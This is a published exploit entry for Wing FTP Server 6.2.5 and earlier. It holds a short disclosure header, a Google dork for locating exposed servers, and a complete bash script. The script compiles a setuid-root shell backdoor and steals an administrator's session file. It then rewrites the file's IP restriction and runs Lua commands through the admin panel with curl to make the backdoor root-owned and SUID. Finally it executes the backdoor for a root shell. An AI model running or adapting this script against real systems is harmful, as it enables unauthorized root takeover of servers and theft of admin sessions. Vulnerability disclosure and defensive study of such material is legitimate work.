Wing FTP Server 6.2.5 - Privilege Escalation

# Exploit Title: Wing FTP Server 6.2.5 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-03
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.5 and prior
# Tested on: Ubuntu 18.04
# CVE: N/A

# If $_WINGFTPDIR is the installation directory where Wing FTP was installed,
# $_WINGFTPDIR/wftpserver/session/* --> corresponds to user sessions... world readable/writeable (possibly exploitable)
# $_WINGFTPDIR/wftpserver/session_admin/* --> corresponds to admin sessions... world readable/writeable.
# We can wait for an admin to log in, steal their session, then launch a curl command which executes LUA.
# https://www.hooperlabs.xyz/disclosures/cve-2020-9470.php (writeup)



#!/bin/bash

echo 'Local root privilege escalation for Wing FTP Server (v.6.2.5)'
echo 'Exploit by Cary Hooper (@nopantrootdance)'

function writeBackdoor() {
	#this function creates a backdoor program (executes bash)
	echo "    Writing backdoor in $1"
	echo '#include <stdio.h>' > $1/foobarh00p.c
	echo '#include <sys/types.h>' >> $1/foobarh00p.c
	echo '#include <unistd.h>' >> $1/foobarh00p.c
	echo 'int main(void){setuid(0); setgid(0); system("/bin/bash");}' >> $1/foobarh00p.c
	gcc -w $1/foobarh00p.c -o $1/foobarh00p
}

function makeRequest() {
	#Executes Lua command in admin panel to set the suid bit/chown on our backdoor
	#Change owner to root
	curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chown%20root%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html"  >/dev/null 2>/dev/null
	#Make SUID
	curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chmod%204777%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html"  >/dev/null 2>/dev/null
}

directories=( "/tmp" "/var/tmp" "/dev/shm" )
for dir in "${directories[@]}"
do
	#Check if directories are writeable
	if [ -w $dir ]
	then 
		echo "[!] Writeable directory found: $dir"
		export backdoordir=$dir
		break
	else 
		echo "    $dir is not writeable..."; fi
done

writeBackdoor $backdoordir

#Look for directory where administrative sessions are handled ($_WINGFTPDIR/session_admin/).
echo "    Finding the wftpserver directory"
export sessiondir=$(find / -name session_admin -type d 2>/dev/null | grep --color=never wftpserver)
if [ -z "$sessiondir" ]; then echo "Wing FTP directory not found.  Consider looking manually."; exit 1; fi
#Note: if no directory is found, look manually for the "wftpserver" directory, or a "wftpserver" binary.  Change the variable below and comment out the code above.  
#export sessiondir="/opt/wftpserver/session_admin"

#While loop to wait for an admin session to be established.  
echo "    Waiting for a Wing FTP admin to log in.  This may take a while..."
count=0
while : ; do
	if [ "$(ls -A $sessiondir)" ]; then
		#If a session file exists, the UID_ADMIN cookie is the name of the file.
		echo "[!] An administrator logged in... stealing their session."
		export cookie=$(ls -A $sessiondir | cut -d '.' -f1)
		export ip=$(cat $sessiondir/$cookie.lua | grep ipaddress| cut -d '[' -f4 | cut -d ']' -f1)
		echo "    Changing IP restrictions on the cookie..."
		cat $sessiondir/$cookie.lua | sed "s/$ip/127.0.0.1/g" > $backdoordir/$cookie.lua
		cp $backdoordir/$cookie.lua $sessiondir/$cookie.lua
		rm $backdoordir/$cookie.lua
		echo "[!] Successfully stole session."
		#Once found, make the malicious curl request
		export urldir=$(sed "s/\//\%2F/g" <<<$backdoordir)
		echo "    Making evil request as Wing FTP admin... (backdoor in ${backdoordir})"
		makeRequest $cookie $urldir
		break
	else
		#Checks every 10 seconds.  Outputs date to terminal for user feedback purposes only.
		sleep 10
		let "count+=1"
		if [ $count -eq 10 ]; then date; fi
		echo "..."
	fi
done

#Check if backdoor was created correctly
if [ $(stat -c "%a" $backdoordir/foobarh00p) != "4777" ]; then echo "    Something went wrong.  Backdoor is not SUID"; exit 1; fi
if [ $(stat -c "%U" $backdoordir/foobarh00p) != "root" ]; then echo "    Something went wrong.  Backdoor is not owned by root"; exit 1; fi

echo "    Backdoor is now SUID owned by root."
echo "[!] Executing backdoor. Cross your fingers..."
#Execute the backdoor... root!
$backdoordir/foobarh00p